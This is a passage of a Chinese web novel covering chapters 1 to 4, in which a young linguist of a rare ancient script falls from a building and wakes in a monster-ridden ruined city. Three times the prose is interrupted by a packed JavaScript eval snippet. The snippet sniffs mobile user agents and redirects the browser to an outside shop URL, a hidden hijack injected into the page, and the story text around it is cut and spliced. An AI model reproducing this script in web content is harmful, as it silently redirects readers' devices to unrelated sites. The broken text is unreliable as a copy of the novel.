《我在末世做见习天使》 1. 第 1 章 20:00 头发凌乱的黄果站在门口,手还掌在开门的钥匙上。她亲眼看见不认识的女人衣不蔽体地站在出租屋客厅中央,水珠从女人未擦干的发尾滴落。 女人身后,雨水连成瀑布,在落地窗上流淌。浑浊不堪的雾气填满了整座城市。 豆大的雨滴不断敲击玻璃发出喧嚣的声响,窗户来回晃动反射着屋内的惨白光亮。就算你提前告诉黄果,今天会是她生命中最糟糕的一天,任她怎样想,也断不会想到日子能够坏到这个地步。 黄果恐怕这辈子也不会忘记女人胸口中央那枚纹身,像是一株塔松般的纹身。 * 黄果瞥了一眼手机屏幕,19:40。 从学校已经毕业一年多,即使像是黄果这种为了工作天天在城市中走街串巷的人,也是第一次见到这样浓重的雾罩。雾霭充盈了空气,整座城市落入到灰暗的色调中。 黄果坐在轿车的副驾上,一手拉着安全带,一手握着手机。轿车的后座上放着一个格格不入的劣质头盔,还有一件单薄的黄色马甲。 轿车星空顶明艳的光点,散碎地落到黄果的面颊上。 “我还是第一次开大哥的车。”驾驶座上的男人强硬地挤出一个笑容,努力地想要活跃一下稍显沉闷的气氛,“我都担心给他弄坏了。” 黄果也勉强动了动嘴角。现在可不是能笑得出来的时候啊,她想。 就在下午,黄果刚刚送走了自己的恩师。她晕倒在恩师的病榻前,足足半小时以后才又醒转。恩师的小儿子梁此文——也就是主驾驶座上这位衣着有些随意男人——坚持要送黄果回家休息。 梁此文的眉毛很平,但色彩很浓厚。印象中他眉头总是微微蹙着,那对眼睛又像是一眼望不到底的潭水,总是给人一种忧郁、深沉的观感。他的背总是挺得笔直,又给人留下一种硬朗刚毅的记忆。 在黄果的大学生涯里,见过太多人身体的弯曲程度一年比一年高,鼻梁上眼镜的厚度也一年比一年厚,有的是念书念的,有的则是看电脑看的。梁此文的身上似乎见不到这种蹉跎的痕迹。黄果忽然回忆起老师说过,他有一个无论如何也要做警察的孙子。 现在看来,这个人大概指的就是梁此文。现在的梁此文正因为要故作轻快的做出一些表情,两边的眉毛变得一边高、一边低。 他才是最笑不出的那个人。黄果心里明白,梁此文是为了让自己心中能够稍微少些伤感才这样做的。让逝者的家属来做这件事,自己也未免太过残忍。黄果于是也找了个话头:“梁先生,是警察吧。” “真厉害,黄小姐。”梁此文赞叹道:“这就把我的职业看出来了,怪不得爷爷以前只要提到你,就是赞不绝口。” 不等黄果搭腔,梁此文便滔滔不绝地说了起来:“你也好,大哥也好,都是爷爷的骄傲。我脑子笨,学不来爷爷的专业,继承不了他的衣钵。也不像大哥那样情商高、眼光好,能做大生意。你看,就像这辆车,如果以我的工资,恐怕就是付月供都困难。” “其实……”黄果正想要说些什么宽慰这个有些丧气的男人。 叮铃铃—— 来电铃声响起,黄果的心跳实打实地漏了一拍。是黄果领导的电话。 梁此文也安静了下来。 “黄果。”电话里响起冷冰冰的声音,如黄果的预想无二,接踵而来的是领导的问责,“你是怎么回事,又被用户投诉超时了!不对,”电话那头情绪愈发高昂:“这次你干脆是没有配送。” “站长。”黄果抿了下嘴唇,“我的确有些要紧的事情,对不起。” “对不起,跟我说对不起有什么用。你害我们吃了几次投诉了。”男人不依不饶:“上次你说被人骚扰,我已经给你换了街区。这次呢?你又要找什么借口?” “这次的确是我不对,但上次绝不是我找的借口。” “我就知道你们这些大学生吃不了苦,是看到天气差就撂挑子了吧。”男人的语气变得有些不耐烦。 “我今天……” “好了,”男人没有想要听黄果辩解的意思,冷冷地说:“封号三天,你就在家里休息,想好了再来吧。” 黄果再想说话,回应她的只有忙音了。 后视镜里,昂贵的真皮后座上,廉价的马甲与头盔随着轿车的运动微微颤抖着。黄果突然对自己的人生也生出了悲伤的情愫。 黄果绝对不是那种不专心学习的学生。恰恰相反,她是以全优的成绩离开了大学,离开了那座象牙塔。 黄果领到毕业证的时候,梁志忠还是个精神矍铄的老头,他对黄果倾囊相授,绝对是以接班人的标准来进行培养。但对黄果来说,大学只是人生的一小部分。她只是如家人所期望地走完了一段必经之路而已。从这里往后,她要去追逐自己的未来,尽管彼时的她并不清楚“未来”究竟指的是什么。 “小黄果啊,你真的不考虑留下来吗?”梁志忠忧心忡忡地说:“我们这个专业,出了学校,会很困难的。” 梁志忠说的没错。格林语,这一梁志忠几乎耗费了一生去研究的小语种,就算在世界的尺度上来看,也是极其罕见、艰深的学科。这是一门几乎没有传承的语言,只有分散世界各地几处的遗迹中,才能找到踪迹。现阶段所有的一切解读,都是世界各地的行业泰斗们,凭借漫长岁月中对遗迹石碑的研究与积累,一点点拼凑出来。 放眼全世界,真正懂得、能够有能力教授格林语的人两只手都能够数得过来。而黄果的恩师梁志忠,就是其中之一。整个国家,可以说只有他们师生二人才真正懂得这门语言。 “总会有办法的。老师。”黄果一如既往地保持微笑:“人也不是都从事自己所学习的专业。” “老师能知道为什么吗?” “老师。”少女腆然,“我恋爱了。他找了一份早九晚五的工作,我也希望能够常常和他在一起。您知道的,如果我留下来的话,后半生就是去往一个又一个荒芜人烟的深谷,在那里扎根、发掘、研究。和您所做的一样。” “是他的意思吗?” “他不清楚这些。”黄果摇摇头:“我无比地尊敬您。这些年,您的所作所为,您的坚守与坚韧我都看在眼里。也正因为如此,我深深明白自己是没有办法成为和老师您一样的人。其实我只是一个想要别人陪伴,也想要陪伴他人的普通人。” “我明白了。” “抱歉,老师。” “不用道歉。”梁志忠还是那样地和蔼,“我的儿子、孙子,都不愿意接替我。你也没有这个义务。只要你能够快乐地生活,记得我教过你的东西,那就足够了。” 黄果毕业之后,格林语这门专业就停招了。黄果还是半年后,在和社团好友聚会时才知道了这件事。当时她以为梁志忠或许是又发现了新的遗迹,无法分心才关停了专业招生,如今回想起来,也许黄果毕业时,梁志忠已经预见了自己的生命将要走到尽头。 他没有时间再教授下一个学生了。“只要你快乐地生活。记得我教过的东西,那就足够了。” “对不起。”黄果低声说,“我辜负了您的期望,生活也过得一团糟。” 黄果想要有一个人能抱抱自己。她从没这样迫切地想要回到自己和男朋友租住的小屋中,她怀念他的怀抱。 “该感到抱歉的是我们,急匆匆地把你叫到家里,耽误你的工作了吧。”梁此文道歉的话把黄果从回忆中拉了回来,“还有什么地方不舒服吗,需不需要去医院?你突然晕倒,大家都很担心。” “给你们添麻烦了。” “是我们给你添了不必要的麻烦。因为老人家无论如何都说要见你一面。而且即使到了最后,爷爷还对你说着那种任性的话。”梁此文顿了顿,似乎是在脑中调整了一遍措辞:“爷爷时常和我们念叨你,他希望你有一个轻松明快的人生。所以还请你不要因为他最后的话有太重的负担。过好自己的生活就好,我想那才是爷爷想要看到的。” 叮铃铃—— 来电铃声第二次打断了两人的对谈。轿车恰巧在红绿灯前停下,梁此文抿紧了嘴唇,认真地盯着红绿灯的倒计时,右手食指轻轻地敲击着方向盘。 这次是个陌生的号码。 “喂……”黄果小心翼翼地接通了电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482447|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喂,”听筒传来的声音有明显的电流与卡顿,是个上了些年纪的声音。 是信号不好吗?黄果下意识地想要看向天空,暮霭沉沉,就连不远处的红绿灯倒计时都变得影影绰绰了。天气不知觉间竟已经糟糕到这个地步,照这个势头发展下去,很快车子也开不了了。 “请问,是黄老师吗?”老人尽量一字一顿,力求在全是杂音的通讯中将信息传达到位。 黄老师?姓是没错,可是我不记得谁会叫自己黄老师。考虑到对方的年纪,黄果尊敬地说:“您是不是拨错了号码?” “这个号码是小志忠给我的,不会有错才对。” 小志忠?是在说梁志忠老师吗? “你不是黄果老师吗?” “我是黄果。”黄果不解,“请问您是?” “是我唐突了,没有介绍自己。我是庆大考古学教授翁淼,你在庆大读过书,选过我的选修课。” “啊,”黄果坐直了腰,“翁老师,您好。” “我们已经给志忠家里去过电话。” “老师他……” “看来你也已经知道了,节哀吧。”老人叹了口气,“我打电话来不是为了说这件事。这里的信号不能持续太长时间,既然是你没错,我就长话短说,我们在海玲谷地发现了大量格林语石碑,有非常重要的信息需要黄老师您前来进行解读。” 黄果的脑海中闪过一道红褐色的大门,她现在哪儿也不想去。于是下意识地问:“能直接拍照传给我么?” “很遗憾,这里的信号不足以支持我们做那样的事情。”老人停顿了一会儿,有些迟疑地说:“如果梁此文警官也在您那里,请让他也和您一路前来。” 短暂地沉默。 “梁警官,烦请带上手套箱里的那把手枪。” 嘟——长长的忙音,留下梁此文和黄果面面相觑。 黄果顺着梁此文的目光看向手套箱。“这里面真的有手枪?” 梁此文默默点头。“不过翁老师是怎么知道的?” 看着黄果疑惑的眼神,梁此文解释道:“我是2013级庆大的学生,虽然说高你几届,但翁老师的课我也是选过的,她的声音我一听就知道了。毕竟翁老师是出了名的心软,课也是出了名的好拿学分啊。” “很重要的信息,是指什么呢?为什么是我和你?”黄果咬了咬下唇,“翁老师又怎么知道我刚好和你在一起。” 轿车在小区门口缓缓地停下。一阵默然后,仍是梁此文率先打破了沉寂:“要去吗?” 黄果看向梁此文的眼睛。 那个格林语的泰斗梁志忠,真的逝去了吗?直到现在,黄果也没有实感。但是那间小小的卧室里,黄果背后隐隐的啜泣声,从老师眼角滴落到她手背的泪水,都不像是假的。 “格林语,就拜托你了。”这是梁志忠最后和黄果说的话。无论是梁志忠的儿子,还是他的孙子梁此文都没有能接过他的衣钵,儿子做了律师,而孙子则去做了商人、做了警察。当时他们当然都在梁志忠的病榻前,或许有那么一瞬间,也会遗憾没有能够接替梁志忠完成他毕生的夙愿吧。 “去吧。”黄果回答道。 “拜托你了。”梁此文语气温和,眸子如同澄澈而又无法流动的湖水,让直视的人跌落其中无法上浮。“明天上午,我会来接你。” * 电闪雷鸣。浓雾中,即使是闪电,也变成了朦胧的光点。只有雷鸣能够穿透层层的雾气,原封不动地到达人的耳蜗。 黄果加紧了脚步,几乎是机械般地走了最近的路线穿过小区中的花园,回到她无数次踏足过的楼栋,轻车熟路地乘坐电梯,穿过空荡荡的楼道回到了出租屋红褐色的大门前。 门后便是她渴求的怀抱,至少在今夜,她想要摒弃一切烦恼。只想好好地和那人拥抱。 黄果伸手顺了顺被风吹得乱蓬蓬的长发,揉了揉脸,露出微笑。 钥匙插入锁孔,扭转。推开铁门,伴随着吱呀呀的声响,黄果碰巧看见一个衣不蔽体的女人,从男友的房间里拖着懒散的步伐走出来。 或许不是碰巧。 2. 第 2 章 女人身材娇小,有着一头乌黑、微曲的长发。 “恩恩,”黄果再熟悉不过的声音从浴室中传了出来,“帮我拿一条毛巾。” 女人没有应声。她看着门外的黄果,慢慢了舒展开了笑容。那是一个得意洋洋、耀武扬威——怎样说都不为过——的笑容。 黄果只觉得自己的心如刀绞,胃里的食物也在翻腾。 叮铃铃—— 铃音突破了雷鸣与雨滴敲打出的鼓点,直冲黄果的天灵盖。她不顾一切地冲向站在房屋中央的女人。 女人不紧不慢地伸出手,抓住了黄果的手腕。她没有推开黄果,反而将黄果拉向自己。 一切发生在电光石火间。 再回过神,黄果已经置身于大楼的外侧。而那个叫做“恩恩”的女人笑盈盈地注目着她,眼睁睁地看着她从25层开始坠落。 黄果面朝天空,她清晰地瞧见一颗雨滴就悬停在她的眼前,正和她以相同的速度下坠。 失重感和雨水冰冷的触感,让她爆发的情绪消退。 戛然而止?可以这么说吗?自己并不怎么顺畅的人生,就要这样突然结束了。明明在离开大学以前,自己的人生还算顺利,怎么会突然变成这样了呢?黄果背对着地面,不知道自己还有多少时间。从这个高度落下,自己最后留在世间的,只能是一副丑态了吧。 女人的笑容一闪而过。 真不甘心啊。黄果向着天空伸手,两次攥拳。理所应当的,什么也没抓住。 就是这最后的求生本能也要被大雨浇灭的一瞬间,一只温暖而有力的手掌牵住了她。那颗悬停于眼前的雨滴继续下落,正中瞳仁中心。黄果眨了眨眼,目光再次聚焦,看清了那只手的主人。 独翼的天使从天而降,长发如盛放的花瓣那般散开。巨大、洁白的翅膀将二人护在中心,隔绝了浓雾与大雨,她们注视着彼此。天使面容清癯,霜白的睫毛下是湛蓝、透亮的双目。 “终于见到你了。”天使双唇翕动,竟是少年的声音:“我叫Π,请一定要找到我。” 翅膀再次舒展,黄果与少年开始上升。少年紧紧揽住黄果的腰,两人迎着瓢泼的大雨,逆着雨滴落下的方向前进。雨幕愈来愈密,落在黄果身体上的雨点也越来越急、越来越快。她们就好像是一个猛子扎进了狂暴的海洋。到了最后,黄果不得不闭上眼睛。 * 泡沫碟子上放着一块三角蛋糕,蛋糕的正中央插上了一只细长的粉色生日蜡烛。虽然看上去是个稍显简陋的生日,但是再看看四周,打了不知道多少个补丁的帐篷,还有一望无垠的沙海。对黄果来说,能够过这样一个生日,已经是足够值得感动的事了。 没有记错的话,那大概是在入学第二年发生的事吧。梁志忠从考古营地里消失了一周,回来的时候提着个塑料盒,深一脚浅一脚地踩着沙子出现,直到走到众人面前,黄果才发现这个小老头鞋子丢了,袜子也破了个洞。 塑料盒子里的东西,现在正摆在黄果的面前。黄果睁开眼睛,放下了胸前交握的双手。 “许好愿了。”梁志忠背着手站在一旁。其他人还在挖掘现场,现在营地里就只有他们师生二人。 “谢谢你,老师。”黄果抬起头,向这个精神抖擞的老人表达了自己的谢意。 “跟着我也是苦了你了。”梁志忠乐呵呵的,笑起来的时候眼总会睛眯成一条线,“小黄果,你是怎么看待我们这个专业,怎么看待格林语的?” 黄果略微沉吟,似乎是陷入了深思。 “或者说换个说法,”梁志忠也摸了摸自己下巴的胡茬,变换了提问的形式:“与你接触过的其他语言比较,格林语怎么样?” 问题一旦经过限定,范围收窄了以后,答案也就简单、清晰了不少。黄果若有所思地点点头:“汉语毫无疑问是我精神的来源。英语……更像是一块敲门砖,我只是在某些特定的情境下,需要它替我叩开一些地方的大门。我为了看动画学了日语,因为觉得弹舌有趣学了俄语。” “格林语……”黄果看着蜡烛飘散的白烟出了会神,才慢慢说:“它是一门艰深、迷茫的语言。就算我在学习的过程中感到困惑,也几乎没有办法向外界寻求到任何形式的帮助和指导。就算是您,很多问题也解释不了。我常常因此感到无助。” 言语间,黄果把蛋糕分作两半,将大的那一半放到另一个蛋糕托中。“您放心好了,我是个有始有终的人,不会中途放弃的。” 黄果起身,把分好的蛋糕递给梁志忠,说:“不过学生倒是很好奇,老师您是怎么看待格林语的。” “我有一种预感,格林语会是一种了不起的语言。” 这种说法倒是让黄果有些意外。梁志忠没有果断地判断格林语的价值,而是给出了一种类似推测的说法。 “如果用这种宽泛的评价来说,我觉得其他的语言也是哦。”黄果坐下开始慢慢品尝这块沙漠中不可多得的蛋糕,“不管是汉语、英语、俄语,还是其他的什么语言,都是人类文明的载体。从这个角度来说,都是了不起的语言。” “从庆安到诺维萨德,从诺维萨德到伊基托斯,到劳托卡、到鲸湾港。为了追寻格林语的踪迹,我们一路跨越了五大洲、四大洋。”梁志忠的手有些颤抖:“我以前一直不敢妄下定论,一直到这里也出土了格林语的石碑。” 黄果叉起蛋糕的手停滞在半空中。朦胧的念头、奇妙的想法在黄果的脑海里闪过,恍惚间有一股电流由大脑传导向全身,双手双脚被一阵酥麻的触感包裹。黄果猛地从椅子上站了起来。 “是地域性。”黄果惊呼,“这是一种没有地域性的语言。” “身处星球两端的人使用着同样文字,有极大的概率可以无阻碍的交流。如果有一种语言完全摆脱了地域的桎梏,那么这种语言背后的文明,会是怎样的一个文明?” * 黄果在草地的中央醒过来,将将坐起身,就像是溺了水似的剧烈地咳嗽起来。好不容易调整好了呼吸,再起身仔细观察四下,黄果才发现自己正站在陌生街道的中心。 一条宽阔、但荒无人烟的街道。 杂草突破了路面向上生长,藤蔓攀上两侧的高楼。街道上挤满了车辆,不光造型古旧,车身上也早就覆满了苔藓。还有一些车辆,不知怎的竟有半截插进了两旁的楼房的高层中。 黄果走近其中的一辆汽车,向着车内探视。果不其然,车内早就锈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“口口!”从黄果身后传来呼喊。那是极其晦涩的音节和奇异至极发声方式,黄果没能立刻理解那是什么含义,但身体先一步反射性地下蹲。 有什么东西带起阵风飞过黄果的头顶,接连击中巨兽,逼得它退回到便利店的黑暗之中。 一只手抓住了黄果捂住耳朵的手。首先进入黄果眼帘的,是沾满泥土的皮靴和工装裤,还有一杆长长的猎枪。 黄果抬眼望去,那人不是别人,正是梁此文。 梁此文拉着黄果的手,将她从地上拎起来,嘴唇不断开合在说着些什么。那是一种既熟悉又陌生的感觉。 黄果看着梁此文焦急的面容有些失神。 见黄果愣在了原地,梁此文折返不由分说地将她拦腰抱起,扛在肩头上,说:“口口口,口口口口口口口。” “再不跑就完蛋了。”黄果听懂了梁此文说的话。 梁此文奔跑起来,风声在黄果的耳边呼呼作响。身后的便利店传来巨兽愤怒的嘶吼,响应它的,是更深的黑暗中传来的,兽群绵延不绝、此起彼伏的长啸。 “啊,再不跑就完蛋了。”在废车堆中闪转腾挪的梁此文回应了黄果的自语。 他说的,是格林语。 3. 第 3 章 一幢废弃已久的五层民房顶楼,房间的窗帘被拉开了一条微不足道的细缝。男人正从缝隙中关注着街道上野兽的动向。 黄果坐在房间的一角,两手环扣住蜷曲的双腿。鼻头抵在膝盖上,只露出了一对乌黑发亮的眼睛。 尽管从相貌上来看二人极其相似,但男人恐怕并不是梁此文。平静下来以后,黄果心中也几乎有了定论。适才,这个男人肩扛着她,一路从大楼的外墙腾跃到了五楼。就算是身为警察的梁此文,这也是断不可能做到的事。那只奇怪的熊也好,男人流利的格林语也罢,都太过异常。 “你刚才的应对不错。如果你没有和它对峙,而是转身逃跑,恐怕在我赶到之前它就咬破你的喉咙了。”男人斜靠在墙壁上,手始终没有离开身旁的那杆猎枪,“你为什么出现在禁地里?据我所知,就算是来自古拉的偷渡客,也不会选择这条路。” “我叫黄果。”黄果在脑海中组织许久不用的格林语,磕绊地说:“谢谢你救了我。或许,你认识一个叫做梁此文的人吗?” “梁此文?没有印象。”男人皱了皱眉。他透过缝隙向外看了一眼,随后又说:“我叫景程温,是恶魔猎人。这里是小队常用的临时据点,房门已经堵严实,那些畜生轻易进不来。” 黄果这才发现没有看见进出这个房间的门。顺着男人的目光看过去,房间的一面墙前层层叠叠地堆满了床和木柜,房门大概就在那后面。 景程温拉上窗帘,补充道:“总之,我们暂时安全了。你不用太紧张。” 黄果乖巧地点了点头。 “所以说,你是为了找一个叫做梁此文的人,才进来的。你也是寻亲者。” 从景程温的语气里,黄果觉察到一种微弱的认同感,于是她将错就错认了下来:“嗯。” “等到这些畜生走了,我带你回庇护所。那里还有很多和你我一样,来这里寻找自己手足亲朋的人。”景程温露出一个柔和的笑容,宽慰道:“到了那儿,就能安心地睡个好觉了。” * 景程温口中所说的庇护所,从是由一个废弃厂房改建而来,有着长且高的盒子外形。厂房外围的围墙上披挂着铁丝扎成的刺网,或许是风吹日晒的缘故,刺网的颜色已经变得有些暗沉。 刺网下的墙体上,隐约可以看见间隔开的大字,观感上是某种标语。黄果仔细辨认,看出了其中两个——使用格林语写的——是“奉献”与“创新”。 进入厂房的一层,可以看出原本是个大平层,现在被人用单薄的铁皮做了简单的分隔。毫无疑问那层铁皮仅仅只能起到空间上的分隔效用,完全隔绝不了一丁点儿声音的传播。 一个又一个铁皮隔间围出来的过道上,不断有人来来往往。零星的几个人瘫倒在地,横卧在过道中央,酒气醺醺。人缘好的,可以看见有人正将他们往铁皮隔间里拖拽。剩下无人认领的那些,景程温带着黄果直接跨过了他们。 还有一些妇人、小孩,搬了小木凳坐在走道边缘,手里忙活着各自的活计。她们身后铁皮围成的屋子里。“哎哟,小景回来了。”一个织毛衣的妇人抬头瞧见景程温,停下了手中的动作亲切地招呼道。 “盛阿姨。”景程温停下了脚步,关切地问:“您的腰伤怎么样了?” “多亏了你上次从外面带回来的药,已经好多了。“妇人微笑着点了点头,旋即又蹙起眉头,问:“这次出去有消息了吗?” 趁着二人对话这当口,黄果也仔细看了看四周。铁皮小屋一个紧挨着一个,里面满登登地坐着许多的人,一个个都神色严肃、愁眉不展。 很安静。 明明这里聚集了这样多的人,却如此地安静。有一种无形的、凝滞的、直压胸口的气氛。感觉就像是进到了医院之中。景程温是那个和患者交谈的医生,而黄果自己,就好像是被领着前往重症病房的那个病人。 无论铁皮墙壁还是地面,都因为时间久远而变得斑驳,在本就昏暗的灯光照射下,显得更加沉闷。 “还是没有。”景程温摇摇头,尽管可以看出来他有些苦恼,但语气中并没有散发消极的情绪,依旧是以饱满的精神头说:“天亮以后再去吧。天亮以后再去,一个街区、一个街区地来,会有好结果的。” 妇人顿了片刻,安慰说:“嗯,也好。没有消息也是好消息,至少他们现在没出事。” “是的。”景程温笑了笑。 这时屋子里的人也向景程温打招呼,景程温挥手回应。 “这位是?”妇人看了看跟在景程温身后的黄果,声音高了些:“以前没有见过。” “她和我们一样,也是来找人的。” “这个时间……”妇人欲言又止。 过往的人和屋子里的人这时也将目光投向了黄果。那种目光,与其说是好奇,不如说是审视。 “盛阿姨,我还要带他去见厂长,就不和你多说了。”景程温显然也注意到了这种变化,于是不再多做停留,拉住黄果的手腕快步离开。在错综复杂的巷道里,景程温带着黄果连拐几个弯,才又慢慢停下脚步。 “这里原来是个工厂。” “看出来了。” 景程温的体温很高,隔着衣袖黄果也能感受到他手掌的热度。 “夜魔出现以后,这间工厂的厂长改建了自己的厂房,为百姓提供栖身之处。”景程温放缓脚步等到黄果和自己并排,他解释道:“他去世以后,为了纪念他,‘厂长’这个称呼也传续了下来。历届庇护所的领导者,大家都会称之为‘厂长’。” 景程温口中的夜魔,大抵就是黄果一开是遇见的那只“熊”。 “原本让你留在庇护所度过夜晚不会这么麻烦,但现在情况特殊,所以我们得按规定先带你去见厂长一面。”景程温看向黄果的眼睛:“不过你放心好了,不会有问题的。” * “绝对不行!”那个被称作厂长的老人手重重地拍打铁皮书桌的桌面,声音把正在铁皮屋子外玩耍的孩童都吓了一跳。 老人脸上满是岁月留下的褶皱,即使是在那样一张脸上,也能看出明显的怒意。“现在是非常时期。”他用似曾相识的目光审慎地打量着黄果这个不速之客,厉声呵斥景程温道:“我应该警告过你们了,不能向任何人暴露我们在这片时间海下的位置。” “可是现在入夜了,根本不知道下一次天明是什么时候。我不能让她独自一人呆在外面。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482449|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “猎人,我必须提醒你。你的小队有两人失踪,一人在二楼医疗区躺着至今昏迷不醒。时间海下我们所知的四个庇护所,已经有三个失去了联系,究竟发生了什么变故我们至今不得而知。”老人正颜厉色地打断了景程温的话语,目光再度转向黄果,话却是说给景程温听的: “这个‘恰巧’出现在你必经之路上的姑娘。你知晓她的来历、清楚她的身份吗?你对她一无所知。怎么就能确定她就不是古拉的奸细?” 或是这番话让景程温也有所动摇,他也转过头看向这个自己带回来的姑娘。 “再极端一点,如果这位你口中所说手无缚鸡之力的姑娘,就是驱魔使呢?”厂长的声音沉下来,“那只夜魔也不过是她的小把戏。这种可能性,你有没有想过。” “我只是在找一个人,你们想得太复杂了。”黄果果决地发声,打断了这位“厂长”的演说。虽然黄果不能完全听明白他们在说些什么,但也清楚地知道,这位所谓的“厂长”,刚刚凭着想象给她扣了好大的一顶帽子。 “哦?”厂长的语气,就和站在他身侧两个护卫的神色一样,没有任何情绪上的波动,“说来听听,小姑娘。是为了什么样的目标,怎样的一个人,才让你有勇气独自一人深入到时间海的中心。” 这种乱七八糟的地方,我可不是自己想要来,是有人把我拉了过来。黄果心中腹诽。 破败的城市、来历不明的凶兽、自称恶魔猎人的男人还有躲在庇护所抱团取暖的人类。这些因素堆砌起来起来,怎么看都像是一部烂大街的末世电影。黄果自己的记忆,停留在那个天使带着她上升的时刻。 “终于见到你了,请一定要找到我。”这是天使对她说的唯一一句话。那时黄果混乱的大脑不容她多做思考,现在回想起来,那位自称Π的天使,说的也是格林语。 是穿越了吗?黄果很难不产生这样的念头。 或者那位天使只是自己临时前的幻想,这里也只是死后的精神世界。黄果很快否定了这种想法。她的精神世界绝不是这种破败的模样,她绝不允许、绝不承认。 那就只有前一种可能。现在唯一的线索,就是那个最后抱着自己飞向天空的天使。 “我在找一个人,”虽然已经决定要说出来,黄果心中也不免忐忑,“也许说出来你们会有些疑惑,他叫Π,有一只翅膀。” 那个Π真的不是自己的妄想吗?就算一切都是真实的,Π跟眼前这些人是敌是友? 黄果在赌。 铁皮屋子里出现了短暂的沉默。 “你是说,你在找天使。”老人低头深思,“还是一个叫Π的独翼天使。” 屋子外不知为何骚乱起来,动静越来越大,原本静默的厂房不知为何喧闹起来。 黄果的心脏突突跳动,甚至耳朵也能感受到心脏跳动的震颤。 砰的一声响,精壮的男人一把推开了房间的大门。老人皱紧眉头看向那个不敲门就闯入的男人。门外狭窄的过道上,人们神色惊恐地推搡着彼此前进。 “出什么事了?”老人问。 “是夜魔。”男人咽了口唾沫,“会说话的夜魔,挟持着人质往西面火药库里去了。” 4. 第 4 章 “夜魔?”老人从座位上站了起来,“为什么外围的看守没有发出警告?” 站在门口的男人显然有些迷惘,左顾右盼,一副欲言又止的样子。 “说话!” 就在这档口,刚才站在老人身侧的两人已经动作麻利地穿戴好了软甲,背上长刀,把匕首插到靴子边,猎枪斜挂在肩头上。 “它好像是伪装进来的,我瞧见了它变形的样子。它是从人变成了夜魔。”男人支支吾吾地说出了自己的猜测,越说到后面语气越是肯定。 “有灵智的夜魔。”老人明显对这个说法感到讶异,一脸不可置信的样子。不过很快老人便镇定下来,说:“通知巡逻队,组织所有人离开厂房,到东面的空地上集中。让运输队上二楼转移病患。” 老人也穿上了护卫递过来的软甲,拿起桌子旁的猎枪看向黄果。 黄果举起双手,道:“从刚才开始,我没有离开过你们的视线。” “你看住她,不能让她离开这间屋子半步。”老人转过头,对身旁的护卫吩咐道。 “我们不用到空地上去吗?”黄果问。 “你,不准离开半步。”老人再次重复,他看向景程温:“程温,你和我们一起。召集猎人,是工作的时候了。” 房间里,那个领命留下来看守黄果的男人站得远远的,手中始终握着猎枪,眼睛一刻也不曾从黄果的身上离开过。很快,门外传来洪亮的吆喝声,大概是老人口中的巡逻队,他们正组织着人群从厂房撤离。杂乱无章的喧闹声也渐渐变得有序起来,逐渐远离。 差不多要安静下来的时候,突然有人猛地推开门,把黄果和看守的护卫都吓了一跳。 “我来替老爷子拿匕首。”景程温目光迅速掠过黄果,走向看守的护卫,说:“那畜牲在火药库里猫着,猎枪排不上用场。” “嗯。”护卫沉声应道,立刻起身走到那张铁皮桌前拉开抽屉进行翻找。 黄果从房门敞开的位置向外看,铁皮房外的过道上,只有零零散散的一两个人跑过。 咚。忽然听得一声沉闷的声响,黄果回过头,护卫已经倒在了地上。 “走。”景程温向黄果伸出手,“别担心,我只是让他睡一会儿。” “你不怀疑我?” 景程温露出笑容,摇了摇头。“走吧。” 黄果跟着景程温小跑着离开了房间,景程温熟练地带着她在纵横交错的巷道里奔跑。途中也遇到过几批和二人逆行的队伍。不过在这种大家都忙着逃命的时候,根本没人在意黄果。 “抓紧我了。”景程温侧身挤过人流。 “我们这样逃走,不是反而更像罪魁祸首了吗?” 景程温拉着黄果又向前跑了一段,转过五六个拐角。他停了下来,气息还是很平稳,黄果这时已经气喘吁吁了。 “这次的夜魔和以往不同,庇护所可能保不住了。”景程温说着举起猎枪,一枪打破了一旁铁门的门锁,“先活下来,其他的事再想办法。” 拉开铁门,门后是一段向上的阶梯。“东面的空地上有猎人小队,那里已经不能走了。这是原来的检修通道,从这里上到屋顶,向西走到尽头,那里有一段下到地面的爬梯。”景程温说得很慢,生怕黄果一时消化不了。他将猎枪斜挂到黄果的肩头,说:“从西边的门离开。” “你怎么办?”黄果下意识地握住枪身,忧心忡忡地看向景程温的眼睛。枪管里还隐隐有火药的气味散发出来。 “那家伙在火药库,我拿着枪也没用。”景程温笑了笑,“还记得我的据点吗?去那儿等我吧,这里结束了我就来接你。” “记得。” “嗯。”景程温轻轻地将黄果推向楼梯,又说:“如果天亮了,你也可以自己走。不用等我。” “走。”景程温看着站在楼梯口的黄果,再一次重复。 黄果双手抓握着猎枪,开始沿着楼梯向上奔跑。直到黄果的脚步声远去,景程温才掩上了铁门。 “终于见到你了。”景程温低声自语。 * 厂房本身也没有多高,楼梯虽然陡,爬起来有些吃力,但相应地也让黄果更快地上到了厂房的楼顶。西方不断有沉重的打击声传来,黄果的脚下也能感受到震颤。 是景程温他们在和夜魔战斗。 